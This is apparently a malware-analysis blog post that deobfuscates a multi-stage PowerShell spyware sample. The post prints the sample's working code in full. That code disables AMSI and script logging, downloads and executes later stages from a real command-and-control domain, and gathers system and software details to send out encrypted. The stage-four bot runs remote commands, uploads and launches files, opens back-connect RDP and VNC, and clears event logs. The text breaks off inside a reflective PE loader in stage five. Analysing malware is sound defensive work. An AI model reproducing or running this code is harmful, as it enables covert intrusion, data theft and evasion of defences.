While examining different PowerShell scripts on the Hybrid-Analysis website, I found a very complex PowerShell script that downloads its code in many stages. In the fifth stage, the PowerShell code contains two executable code in base64 encoding for x86 32 and 64 bits architecture. In the last stage, the Powershell code acts as spyware and takes screenshots from windows that contain certain words in their titles such as PayPal, Walmart.

First stage

PowerShell script: https://www.hybrid-analysis.com/sample/485515cc769bd0e2ab62e5697e743196dc6ecebd44319b1adf9e8b935a059bc3?environmentId=100

The string in Fig 1 is first decoded with a base64 decoder and then is decompressed. We get the following code after these operations:

In the above code, we have a format string (starts by {9}{8}{12}…) followed by a series of strings. After placing strings in the correct position, we get:

Let’s take a look at the code for a moment. The following code is the formatted version of the above code:

# disables security feater in PowerShell v3 and above $(If($PSVersionTable.PSVersion.Major -ge 3) { $GPF=[ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','NonPublic,Static'); If($GPF){ $GPC=$GPF.GetValue($null); If($GPC['ScriptBlockLogging']){ $GPC['ScriptBlockLogging']['EnableScriptBlockLogging']=0; $GPC['ScriptBlockLogging']['EnableScriptBlockInvocationLogging']=0 } $val=[Collections.Generic.Dictionary[string,System.Object]]::new();$val.Add('EnableScriptBlockLogging',0); $val.Add('EnableScriptBlockInvocationLogging',0); $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging']=$val } Else{ [ScriptBlock]."GetFie`ld"('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string])) } [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)}; }; [System.Net.ServicePointManager]::Expect100Continue=0;; [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; sleep -s 4; # generates a random url with a specific pattern $sr=.(Get-Command nE`*cT)systE`m.iO`.STrEA`MrE`ADEr([Net.HttpWebRequest]::Create('https://winmetricanalise.tech/'+ $(-join("adefenoprsatuviwyz".ToCharArray()|Get-Random -Count $(@('8','6','7')|Get-Random)))+'.'+ $(@('php','jsp','asp')|Get-Random)).GetResponse().GetResponseStream()); sleep -s 3; $res=$sr.ReadToEnd(); sleep -s 2; $sr.Close()); # executes the downloaded PowerShell .(Get-Alias i`*X)($res)

From line 3 to 20, the code attempts to disable PowerShell logging and Microsoft ASMI. From line 21 to 26, the malicious script downloads its second stage PowerShell script. In the end, it executes the downloaded script.

Second Stage

Fig 4 shows the second stage of this malware. $eB89 is first reversed and then decompressed.

Fig 5 and 6 show the $eB89 content after performing these operations.

Let’s take a look at this code. I formatted the code so that we can read it better:

$url = 'https://winmetricanalise.tech/'+ $(-join("adefenoprsatuviwyz".ToCharArray()|Get-Random -Count $(@(10,16,14)|Get-Random)))+'.'+ $(@('php','jsp','asp')|Get-Random); $K='L(oNXStkDP;l0YTs7[HJBOvrK3M,=chm'; $I=0;[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; [SysTEm.Net.SeRvICePoIntMAnaGEr]::Expect100ConTINuE=0; $buffer = [System.Text.Encoding]::UTF8.GetBytes('url'); [System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($url); $webRequest.Timeout = 10000;$webRequest.Method = 'POST'; $webRequest.UserAgent = 'Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 Edge/12.0'; $webRequest.ContentType = 'application/x-www-form-urlencoded'; $webRequest.ContentLength = $buffer.Length;; $requestStream = $webRequest.GetRequestStream(); $requestStream.Write($buffer, 0, $buffer.Length); $requestStream.Flush();$requestStream.Close(); [System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse(); $streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream()); [CHAr[]]$result = ([cHAr[]]($streamReader.ReadToEnd()))|%{$_-BXor$K[$I++%$k.LeNGtH]}; .(Get-Alias i`*X)($result-JOIn'')

Basically, in this stage, the malware download and execute its third stage.

Third Stage

Below is the code that is downloaded for the third stage:

After decompressing the code, we have

function GsdsetWweter { $Serv = $args[0] $SK = $args[1] $USAG = $args[2] $Null = [Reflection.Assembly]::LoadWithPartialName("System.Security"); $Null = [Reflection.Assembly]::LoadWithPartialName("System.Core"); $ErrorActionPreference = "SilentlyContinue"; $e=[System.Text.Encoding]::ASCII; function Get-SysID($HashName = "MD5"){ [string]$ret = "" $hd = gwmi win32_bios $ret = $hd["SerialNumber"].ToString() [string]$String = $([Environment]::UserName +[Environment]::MachineName + $ret).ToLower(); $StringBuilder = New-Object System.Text.StringBuilder [System.Security.Cryptography.HashAlgorithm]::Create($HashName).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($String))|%{ [Void]$StringBuilder.Append($_.ToString("x2")) } $e = $StringBuilder.ToString().ToLower() $e } Function HasGet-Bretring($ht) { $first = $true foreach($pair in $ht.GetEnumerator()) { if ($first) { $first = $false } else { $output += ';' } $output+="{0}" -f $($pair.Value) } $output } function Get-workconfig { Get-WmiObject Win32_NetworkAdapter -Filter 'NetConnectionStatus=2' | ForEach-Object { $result = 1 | Select-Object Name, IP, MAC, ID $result.Name = $_.Name $result.MAC = $_.MacAddress $result.ID = $_.DeviceID $config = $_.GetRelated('Win32_NetworkAdapterConfiguration') $result.IP = $config | Select-Object -expand IPAddress $result } } function Get-Sysinfo { $str = [Environment]::UserDomainName+'|'+[Environment]::UserName+'|'+[Environment]::MachineName; $string = "" foreach($c in Get-workconfig){ [string]$lanname = $c.Name; [string]$macadr = $c.MAC; [string]$ID = $c.ID $ip = @{$true=$c.IP[0];$false=$p.IP}[$c.IP.Length -lt 6]; [string]$ip = $c.IP[0]; if(!$ip -or $ip.trim() -eq '') {$ip='0.0.0.0'}; $lanconf = @{ id = $ID ip = $ip; mac = $macadr; name = $lanname; } $string += HasGet-Bretring $lanconf } $o = (Get-WmiObject Win32_OperatingSystem) $str += "|$string"; $str += '|' +$o.Name.split('|')[0]; if(([Environment]::UserName).ToLower() -eq "system"){ $str += '|True' } else{ $str += '|'+ ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") } [void] [Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") $Screens = [system.windows.forms.screen]::AllScreens foreach ($Screen in $Screens) { $Width = $Screen.Bounds.Width $Height = $Screen.Bounds.Height } $str += '|' + "$Width`x$Height" $n = [System.Diagnostics.Process]::GetCurrentProcess() $str += '|'+$n.ProcessName+'|'+$n.Id $str += '|' + $PSVersionTable.PSVersion.Major $str += '|' + $ENV:PROCESSOR_ARCHITECTURE $str += '|' + (gwmi win32_timeZone -ComputerName $env:ComputerName).caption $str += '|' + $o.ConvertToDateTime($o.LastBootUpTime) $str } function getlisturi{ $RandName = -join("abcdefghijklmoprstvuxyz".ToCharArray()|Get-Random -Count $args[0]);$ar = @('php','jsp','asp') | Get-Random; $RandName + '.' + $ar } function Get-Soft { param ( [Parameter(ValueFromPipeline=$true)] [string[]]$ComputerName = $env:COMPUTERNAME, [string]$NameRegex = '(Opera|Firefox|Chrome|TAX|Lacerte|OLT|ProSeries|Ultratax|Drake|Taxslayer|ProTaxPro|Taxwise|Avast|ESET|Malwarebytes|McAfee|Norton|Panda|Sophos|Webroot|Bitdefender|Symantec|Trust|EICAR|Virus|Firewall|Defender|Secury|Anti|Comodo|Kasper|quickbooks|keypass|ftp|ssh|Outlook)' ) foreach ($comp in $ComputerName) { $keys = '','\Wow6432Node' foreach ($key in $keys) { try { $apps = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine',$comp).OpenSubKey("SOFTWARE$key\Microsoft\Windows\CurrentVersion\Uninstall").GetSubKeyNames() } catch { continue } foreach ($app in $apps) { $program = [Microsoft.Win32.RegistryKey]::OpenRemoteBaseKey('LocalMachine',$comp).OpenSubKey("SOFTWARE$key\Microsoft\Windows\CurrentVersion\Uninstall\$app") $name = $program.GetValue('DisplayName') $str = '' if ($name -and $name -match $NameRegex) { $str += $name + ';' $str } } } } } try { $FirstAES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; } catch { $FirstAES=New-Object System.Security.Cryptography.RijndaelManaged; } $FirstIV = [byte] 0..255 | Get-Random -count 16;$FirstAES.Mode="CBC"; $FirstAES.Key=$e.GetBytes($SK); $FirstAES.IV = $FirstIV; $csp = New-Object System.Security.Cryptography.CspParameters; $csp.Flags = $csp.Flags -bor [System.Security.Cryptography.CspProviderFlags]::UseMachineKeyStore; $rs = New-Object System.Security.Cryptography.RSACryptoServiceProvider -ArgumentList 2048,$csp; $rk=$rs.ToXmlString($False);$ib=$e.getbytes($rk); $eb=$FirstIV+$FirstAES.CreateEncryptor().TransformFinalBlock($ib,0,$ib.Length); $BotIDXor= Get-SysID; $EncodedText =[Convert]::ToBase64String($e.getbytes($BotIDXor)); $EncodedText2 =[Convert]::ToBase64String($e.getbytes($EncodedText)); if(-not $wc){ [System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true } $wc=new-object system.net.WebClient; $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy(); $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials; } $wc.Headers.Add("User-Agent",$USAG); $wc.Headers.Add("Cookie","SESSIONID:$EncodedText2"); $raw=$wc.UploadData($Serv + "/" + $(getlisturi $(@(9,17,12)|Get-Random)),"POST",$eb); $de=$e.GetString($rs.decrypt($raw,$false)); $key=$de[0..($de.length-2)] -join ''; $k=$de[$de.length-1] -join ''; if ($k -eq 0) { $str1 = Get-Sysinfo; $str2 = Get-Soft; $str = $str1 + '|' + $str2 } else{$str = 'OK'+ '|' + ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") + '|' + ([System.Diagnostics.Process]::GetCurrentProcess()).id} $SecondAES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; $SecondIV = [byte] 0..255 | Get-Random -count 16; $SecondAES.Mode="CBC"; $SecondAES.Key=$e.GetBytes($key); $SecondAES.IV = $SecondIV; $ib2=$e.getbytes($str); $eb2=$SecondIV+$SecondAES.CreateEncryptor().TransformFinalBlock($ib2,0,$ib2.Length); $wc.Headers.Add("User-Agent",$USAG); $raw=$wc.UploadData($Serv+ "/" + $(getlisturi $(@(18,19,4)|Get-Random)),"POST",$eb2); try {$AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider;} catch {$AES=New-Object System.Security.Cryptography.RijndaelManaged;} $AES.Mode="CBC"; $IV = $raw[0..15];$AES.Key=$e.GetBytes($key);$AES.IV = $IV; $shelles = [System.Text.Encoding]::ASCII.GetString($($AES.CreateDecryptor().TransformFinalBlock($raw[16..$raw.Length],0,$raw.Length-16))) iex $shelles $FirstAES=$null;$BotIDXor=$null;$rs=$null;$eb2=$null;$raw=$null;$IV=$null;$str=$null;$ib2=$null;$SecondAES=$null;$AES=$null; $SecondIV=$null;$shelles= $null; $Error.Clear() [GC]::Collect() [GC]::WaitForPendingFinalizers() federerfegegfeg $key "SESSIONID:$EncodedText2" $Serv $USAG $([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") $PSVersionTable.PSVersion.Major #see the code below for federerfegegfeg function, federerfegegfeg loaded on the fly } GsdsetWweter 'https://winmetricanalise.tech' 'L(oNXStkDP;l0YTs7[HJBOvrK3M,=chm' 'Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36 Edge/12.0' <span id="mce_SELREST_start" style="overflow:hidden;line-height:0;"></span>

From line 151 to 155, the computer and user info of the system is retrieved, then this data is encrypted and sent to the C&C server on line 163.

The C&C sends the stage 4 in the response body. The content is decrypted on line 168 and then will be executed on line 169. The code in the forth stage is actually a function with the name of federerfegegfeg. This function is called on line 174.

Stage four

The following code is returned on line 168.

The same substitution technique is used. After placing the string on the correct position we get:

After decompressing the code we get the PowerShell script for the forth stage:

function federerfegegfeg { $mtx = New-Object System.Threading.Mutex($false, "GetIdDefender") if ($mtx.WaitOne(1000)) { $ErrorActionPreference = 'silentlycontinue'; $script:EncScriptkeylo = ''; $script:sendfile = ''; $agent = @{ seskey = $args[0]; Cookie = $args[1]; base = $args[2]; usag = $args[3]; priv = $args[4]; poshver = $args[5]; mischec = 0; klcount = 0; crptcount = 0; klver = 'ssha'; fgver = 'exe'; wver = 'watcher'; fgrab = $true; watcher = $false; paths = $(Join-Path -Path $env:temp 'S-1-5-21-412654016-3479515840-311'); module = $true; INTERVAL = 420; encodingascii = [System.Text.Encoding]::ASCII; encodingutf = [System.Text.Encoding]::UTF8; job = @{}; } if(!(Test-path $agent['paths'])) { $h = ni -Path $agent['paths'] -ItemType "directory" $h.attributes="Hidden" } function Encrypt-Bytes { param($bytes) try{ $IV = [byte] 0..255 | Get-Random -count 16 $hmac = New-Object System.Security.Cryptography.HMACSHA1; try { $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; } catch { $AES=New-Object System.Security.Cryptography.RijndaelManaged; } $AES.Mode = "CBC"; $AES.Key = $agent['encodingascii'].GetBytes($agent['seskey']); $AES.IV = $IV; $ciphertext = $IV + ($AES.CreateEncryptor()).TransformFinalBlock($bytes, 0, $bytes.Length); $hmac.Key = $agent['encodingascii'].GetBytes($agent['seskey']); $ciphertext + $hmac.ComputeHash($ciphertext); } catch {$_.Exception.Message} finally{[GC]::Collect();[GC]::WaitForPendingFinalizers()} } function Decrypt-Bytes { param ($inBytes) if($inBytes.Length -gt 32){ $hmac = New-Object System.Security.Cryptography.HMACSHA1; $mac = $inBytes[-20..-1]; $inBytes = $inBytes[0..($inBytes.length - 21)]; $hmac.Key = $agent['encodingascii'].GetBytes($agent['seskey']); $expected = $hmac.ComputeHash($inBytes); if (@(diff $mac $expected -sync 0).Length -ne 0){ return; } $IV = $inBytes[0..15]; try { $AES=New-Object System.Security.Cryptography.AesCryptoServiceProvider; } catch { $AES=New-Object System.Security.Cryptography.RijndaelManaged; } $AES.Mode = "CBC"; $AES.Key = $agent['encodingascii'].GetBytes($agent['seskey']); $AES.IV = $IV; ($AES.CreateDecryptor()).TransformFinalBlock(($inBytes[16..$inBytes.length]), 0, $inBytes.Length-16) } } function Encode-Packet { param([int]$type, $data) try{ $data = [System.Convert]::ToBase64String($agent['encodingutf'].getbytes($data)) $packet = New-Object Byte[] (8 + $data.Length) ([bitconverter]::GetBytes($type)).CopyTo($packet, 0) ([bitconverter]::GetBytes($data.Length)).CopyTo($packet, 4) ($agent['encodingutf'].getbytes($data)).CopyTo($packet, 8) $packet } catch {$_.Exception.Message} finally{$data = $null; [GC]::Collect();[GC]::WaitForPendingFinalizers();} } function Decode-Packet { param($packet, $offset=0) $type = [bitconverter]::ToUInt32($packet, 0+$offset) $length = [bitconverter]::ToUInt32($packet, 4+$offset) $data = $agent['encodingutf'].GetString($packet[(8+$offset)..(8+$length+$offset-1)]) $packet = $null @($type,$length,$data) } function Process-Packet { param($type, $msg) $outtype = '111' try { if($type -eq 1) { $msg = "[!] Agent logoff" SMailstream-sendpost -Packets $(Encode-Packet -type $outtype -data $msg ) iex logoff } elseif($type -eq 2) { $msg = "[!] Agent Kill" Start-AgentJob $data 'DefenderKill' SMailstream-sendpost -Packets $(Encode-Packet -type $outtype -data $msg ) exit } elseif($type -eq 3) { $msg = "[!] Agent Update" $id = nproc 'powershell.exe' $data SMailstream-sendpost -Packets $(Encode-Packet -type $outtype -data $("New proc id $id")) exit } elseif($type -eq 40){ $cmd = $data[7..$data.Length] -join '' if($cmd.Length -gt 0){ Encode-Packet -type $outtype -data $((IEX $cmd) -join "`n").trim() } } elseif($type -eq 42) { $parts = $data.split('|') $filename = $parts[0] $base64part = $parts[1] $file = $(Join-Path -Path $agent['paths'] $filename) $Content = [System.Convert]::FromBase64String($base64part) try{ Set-Content -Path $file -Value $Content -Encoding Byte TRunpil $("cmd.exe /c start %COMSPEC% /C $file") $data = $null;$parts = $null;$filename = $null;$base64part = $null;$Content = $null Encode-Packet -type $outtype -data "[*] Upload and start successful" } catch { Encode-Packet -type $outtype -data "[!] Error in writing $filename during upload and start" } } elseif($type -eq 23){ Encode-Packet -type $outtype -data $((IEX $data) -join "`n").trim() } elseif($type -eq 19){ try { $outout = "" if (!($agent['job']['DefenderUpdateSecRDD'])){ Start-AgentJob $data 'DefenderUpdateSecRDD' Encode-Packet -type $outtype -data $("Start Back connect RDP") } else { $outout = Stop-AgentJob 'DefenderUpdateSecRDD' Stop-Process -Name rdpcliep | Out-Null Start-AgentJob $data 'DefenderUpdateSecRDD' Encode-Packet -type $outtype -data $("reStart Back connect RDP stdout RDP >>> $($outout | Out-String) ") } } catch { $_.Exception.Message } } elseif($type -eq 14){ try { $outout = "" if (!($agent['job']['DefenderUpdateSecID'])){Start-AgentJob $data 'DefenderUpdateSecID'; Encode-Packet -type $outtype -data "Start Back connect VNC" } else { $outout = Stop-AgentJob 'DefenderUpdateSecID'; Start-AgentJob $data 'DefenderUpdateSecID'; Encode-Packet -type $outtype -data $("reStart Back connect VNC >> $($outout | Out-String)") } } catch { $_.Exception.Message } } elseif($type -eq 117){ try { $outout = "" if (!($agent['job']['DefenderipperSecID'])){Start-AgentJob $data 'DefenderipperSecID';Encode-Packet -type $outtype -data $("Start Back connect ripper") } else { $outout = Stop-AgentJob 'DefenderipperSecID'; Encode-Packet -type $outtype -data $("Start Back connect ripper >> $($outout | Out-String)") Start-AgentJob $data 'DefenderipperSecID'} } catch { $_.Exception.Message } } elseif($type -eq 114){ try { $cmd = $data[9..$data.Length] -join '' $outout = Stop-AgentJob $cmd Encode-Packet -type $outtype -data $("Stop Job: $($outout | Out-String)") } catch { $_.Exception.Message } } elseif($type -eq 115){ try { $cmd = $data[8..$data.Length] -join '' if($cmd -eq 'on'){$agent['module'] = $true} elseif($cmd -eq 'off'){$agent['module'] = $false} Encode-Packet -type $outtype -data $("Module status: $($agent['module']| Out-String)") } catch { $_.Exception.Message } } else { $jobd = $true $RandName = -join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 6) Start-AgentJob $data $RandName while($jobd){ if (Get-AgentJobCompleted $RandName){ $outout = Stop-AgentJob $RandName; Encode-Packet -type $outtype -data $("Output $type >> $($outout | Out-String)") $jobd = $false; } sleep -s 4 } } } catch{ $_.Exception.Message Encode-Packet -type $outtype -data "error running command: $_" } finally{ [GC]::Collect() [GC]::WaitForPendingFinalizers() [GC]::Collect() } } function ProcTasking { param($tasking) try{ $taskingBytes = Decrypt-Bytes $tasking if (!$taskingBytes){ $agent['crptcount'] += 1 return "" } $decoded = Decode-Packet $taskingBytes $type = $decoded[0] $length = $decoded[1] $data = $decoded[2] $resultPackets = $(Process-Packet $type $data) SMailstream-sendpost $resultPackets } catch {$_.Exception.Message } finally{ [GC]::Collect() [GC]::WaitForPendingFinalizers() } } function getlisturi{ '/' + $(-join("abcdefghijklmoprstvuxyz".ToCharArray()|Get-Random -Count $(Get-Random (5..10)))) + '/' + $(-join("abcdefghijklmoprstvuxyz".ToCharArray()|Get-Random -Count $(Get-Random (7..12)));$ar = @('php','jsp','asp') | Get-Random) + '.' + $ar } function SMailstream-sendpost { param($packets) if($packets) { $encBytes = Encrypt-Bytes $packets if ($agent['base'].StartsWith("https")){ [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; } [System.Net.ServicePointManager]::DefaultConnectionLimit = 1024 $wc = new-object system.net.WebClient; $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy(); $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials; $wc.Headers.Add("User-Agent",$agent['usag']) $wc.Headers.Add("Cookie",$agent['Cookie']) try{ $response = $wc.UploadData($agent['base']+$(getlisturi),"POST",$encBytes); $response } catch {sleep -s 1; $response = $wc.UploadData($agent['base']+$(getlisturi),"POST",$encBytes); $response } finally{ $wc.Dispose() [GC]::Collect() [GC]::WaitForPendingFinalizers() } } } function Get-Cmd { try{ if ($agent['base'].StartsWith("https")){ [System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; } $wc = new-object system.net.WebClient; $wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy(); $wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials; $wc.Headers.Add("User-Agent",$agent['usag']) $wc.Headers.Add("Cookie",$agent['Cookie']) $result = $wc.DownloadData($agent['base'] + $(getlisturi)) return $result } catch [System.Net.WebException],[System.IO.IOException] { $_.Exception.Message $agent['mischec'] += 1 } finally{ $wc.Dispose(); [GC]::Collect() [GC]::WaitForPendingFinalizers() } } function TRunpil { $runspace = [runspacefactory]::CreateRunspace() $runspace.ApartmentState = "STA" $runspace.ThreadOptions = "ReuseThread" $runspace.Open() $powershell = [powershell]::Create() $powershell.Runspace = $runspace [void]$powershell.AddScript($args[0]) [void]$powershell.BeginInvoke() } function Start-AgentJob { param($ScriptString, $RandName) if($ScriptString -eq 'space'){return} $AppDomain = [AppDomain]::CreateDomain($RandName) $PSHost = $AppDomain.Load([PSObject].Assembly.FullName).GetType('System.Management.Automation.PowerShell')::Create() $null = $PSHost.AddScript($ScriptString) $Buffer = New-Object 'System.Management.Automation.PSDataCollection[PSObject]' $PSobjectCollectionType = [Type]'System.Management.Automation.PSDataCollection[PSObject]' $BeginInvoke = ($PSHost.GetType().GetMethods() | ? { $_.Name -eq 'BeginInvoke' -and $_.GetParameters().Count -eq 2 }).MakeGenericMethod(@([PSObject], [PSObject])) $Job = $BeginInvoke.Invoke($PSHost, @(($Buffer -as $PSobjectCollectionType), ($Buffer -as $PSobjectCollectionType))) $agent['job'][$RandName] = @{'Alias'=$RandName; 'AppDomain'=$AppDomain; 'PSHost'=$PSHost; 'Job'=$Job; 'Buffer'=$Buffer} } function Get-AgentJobCompleted { if($agent['job'].ContainsKey($args[0])) { $agent['job'][$args[0]]['Job'].IsCompleted }} function Stop-AgentJob { if($agent['job'].ContainsKey($args[0])) { $buffer = $agent['job'][$args[0]]['Buffer'].ReadAll() $errorkeylo = $agent['job'][$args[0]]['PSHost'].Streams.Error $Null = $agent['job'][$args[0]]['PSHost'].Stop() $Null = [AppDomain]::Unload($agent['job'][$args[0]]['AppDomain']) $agent['job'].Remove($args[0]) } if(!($buffer)){$buffer = 'NotBufferTread'} if(!($errorkeylo)){$errorkeylo = 'NotErrorTread'} @($buffer, $errorkeylo) } function nproc{ $psi = New-Object System.Diagnostics.ProcessStartInfo; $proc=new-object System.Diagnostics.Process; $psi.CreateNoWindow = $true; $psi.WindowStyle = 'Hidden'; $proc.StartInfo = $psi; if($args[2]){$proc.StartInfo.UseShellExecute = $false} $proc.StartInfo.FileName = $args[0]; $proc.StartInfo.Arguments = '-noexit ' + '-nologo '+'-noprofile '+'-NonInteractive '+ '-Command ' + $args[1]; $proc.start() | Out-Null $proc.Id } function get-moduledef{ try { $r = 0 while($agent['module']){ $jobd = $true $module = $(Decode-Packet(Decrypt-Bytes $(SMailstream-sendpost -packet $(Encode-Packet -type 4 -data 'status')))) if($module[0] -eq 99){$jobd = $false} $RandName = -join("ABCDEFGHKLMNPRSTUVWXYZ123456789".ToCharArray()|Get-Random -Count 6) Start-AgentJob $module[2] $RandName while($jobd){ if (Get-AgentJobCompleted $RandName) { $outout = Stop-AgentJob $RandName; if($module[0] -eq 66 -or $r -eq 22){$agent['module'] = $false} debugingerror $outout $module[0]; $jobd = $false; } sleep -s 3 } sleep -s 5 ++$r } } catch {$_.Exception.Message} finally{[GC]::Collect();[GC]::WaitForPendingFinalizers()} } function get-fgrablogs { try { $datas = $($agent['encodingutf'].GetString($(Decrypt-Bytes $(SMailstream-sendpost -packet $(Encode-Packet -type $args[0] -data $args[1]))))) + "`n" + 'get-fgruvers' + " -versid atinmem " + " -fpath " +"'" +$agent['paths']+ "'" + " -idsid 1215 -rckey"+ " '"+$agent['seskey']+"'" Start-AgentJob $datas $args[2] $datas = $null } catch {$_.Exception.Message;} finally{[GC]::Collect();[GC]::WaitForPendingFinalizers()} } function get-watcher { try { $datas = $($agent['encodingutf'].GetString($(Decrypt-Bytes $(SMailstream-sendpost -packet $(Encode-Packet -type $args[0] -data $args[1]))))) + "`n" + 'get-watcher' + " '"+$agent['seskey']+ "'" + " '"+$agent['paths'] +"'" + " '"+$agent['poshver'] +"'" Start-AgentJob $datas $args[2] $datas = $null } catch {$_.Exception.Message;} finally{[GC]::Collect();[GC]::WaitForPendingFinalizers()} } function get-contentlogs { try { if ($agent['klver'] -eq 'ps') {$script:EncScriptkeylo = ''} if(!($script:EncScriptkeylo)){ $datas = $($agent['encodingutf'].GetString($(Decrypt-Bytes $(SMailstream-sendpost -packet $(Encode-Packet -type $args[0] -data $args[1]))))) + "`n" + 'def' + " '"+$agent['seskey']+ "'" + " '"+$agent['paths'] +"'" + " '"+$agent['poshver'] +"'" $script:EncScriptkeylo = Encrypt-Bytes $agent['encodingascii'].GetBytes($datas); } else{$datas = $agent['encodingutf'].GetString($(Decrypt-Bytes $script:EncScriptkeylo))} Start-AgentJob $datas $args[2] $datas = $null } catch {$_.Exception.Message;} finally{[GC]::Collect();[GC]::WaitForPendingFinalizers()} } function Post-file{ try { if(!($script:sendfile)){ $datas = $($agent['encodingutf'].GetString($(Decrypt-Bytes $(SMailstream-sendpost -packet $(Encode-Packet -type $args[0] -data $args[1]))))) + "`n" + 'berrered' + " '"+$agent['seskey']+ "'" + " '"+$agent['Cookie'] +"'" + " '"+$agent['base'] +"'" + " '"+$agent['usag'] +"'" + " '"+$agent['paths'] +"'" $script:sendfile = Encrypt-Bytes $agent['encodingascii'].GetBytes($datas); } else{$datas = $agent['encodingutf'].GetString($(Decrypt-Bytes $script:sendfile))} Start-AgentJob $datas $args[2] $datas = $null } catch {$_.Exception.Message;} finally{[GC]::Collect();[GC]::WaitForPendingFinalizers()} } function debugingerror { if($args[0][0]){$null = SMailstream-sendpost($(Encode-Packet -type 112 -data $('{0}|{1}|{2}' -f $args[1],'buffmod',[System.Convert]::ToBase64String($agent['encodingutf'].getbytes($($args[0][0]|Out-String))))))} if($args[0][1]){$null = SMailstream-sendpost($(Encode-Packet -type 112 -data $('{0}|{1}|{2}' -f $args[1],'errors',[System.Convert]::ToBase64String($agent['encodingutf'].getbytes($($args[0][1]|Out-String))))))} } do { if($agent['fgrab']){ if(!($agent['job']['WindowsFgDefender'])){get-fgrablogs 6 $agent['fgver'] WindowsFgDefender} else { $outout = Stop-AgentJob 'WindowsFgDefender' debugingerror $outout 10 $agent['fgrab'] = $false } } if($agent['watcher']){get-watcher 10 $agent['wver'] WindowsWatcherDefender} if (!($agent['job']['WindowsDefender'])){get-contentlogs 7 $agent['klver'] WindowsDefender} else { if (Get-AgentJobCompleted 'WindowsDefender'){ $outout = Stop-AgentJob 'WindowsDefender' debugingerror $outout 7 if($agent['klcount'] -gt 2){$agent['klver'] = 'ps'} get-contentlogs 7 $agent['klver'] WindowsDefender $agent['klcount'] += 1 } } if($(ls $agent['paths'])){ if ($agent['job']['UpdateSecID']) { $outout = Stop-AgentJob 'UpdateSecID' debugingerror $outout 5 Post-file 5 red UpdateSecID; } else{ Post-file 5 gery UpdateSecID } } else { if ($agent['job']['UpdateSecID']) {Stop-AgentJob 'UpdateSecID'} } if($agent['mischec'] -gt 460){iex logoff} $cmd = Get-Cmd; if ($cmd){ $agent['INTERVAL'] = $(@(110,90,134)|Get-Random); ProcTasking $cmd } else{ if ($agent['module']){get-moduledef} if ($Error){debugingerror $(@($Error)) 9} $Error.Clear() [GC]::Collect() [GC]::WaitForPendingFinalizers() sleep -s $agent['INTERVAL'] $agent['INTERVAL'] = $(@(420,513,345)|Get-Random) if($agent['priv']){TRunpil $('wevtutil el | % {wevtutil cl `"$_`"}')} } } while ($true) $mtx.ReleaseMutex() $mtx.Dispose() } }

On line 373, it downloads and execute the stage 5 code.

Stage five (function get-fgrablogs)

This is the PowerShell code on the fifth stage:

function get-fgruvers { [CmdletBinding()] Param( [Parameter(Position = 0)] [String[]] $ComputerName, [Parameter(Position = 1, Mandatory = $false)] [String] $fpath, [Parameter(Position = 2, Mandatory = $true)] [String] $idsid, [Parameter(Position = 3, Mandatory = $true)] [String] $versid, [Parameter(Position = 4, Mandatory = $true)] [String] $rckey ) Set-StrictMode -Version 2 $RemoteScriptBlock = { [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $true)] [String] $PEBytes64, [Parameter(Position = 1, Mandatory = $true)] [String] $PEBytes32, [Parameter(Position = 2, Mandatory = $false)] [String] $FuncReturnType, [Parameter(Position = 3, Mandatory = $false)] [Int32] $ProcId, [Parameter(Position = 4, Mandatory = $false)] [String] $ProcName, [Parameter(Position = 5, Mandatory = $false)] [String] $ExeArgs ) Function Get-Win32Types { $Win32Types = New-Object System.Object $Domain = [AppDomain]::CurrentDomain $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null $TypeBuilder.DefineLiteral('x64', 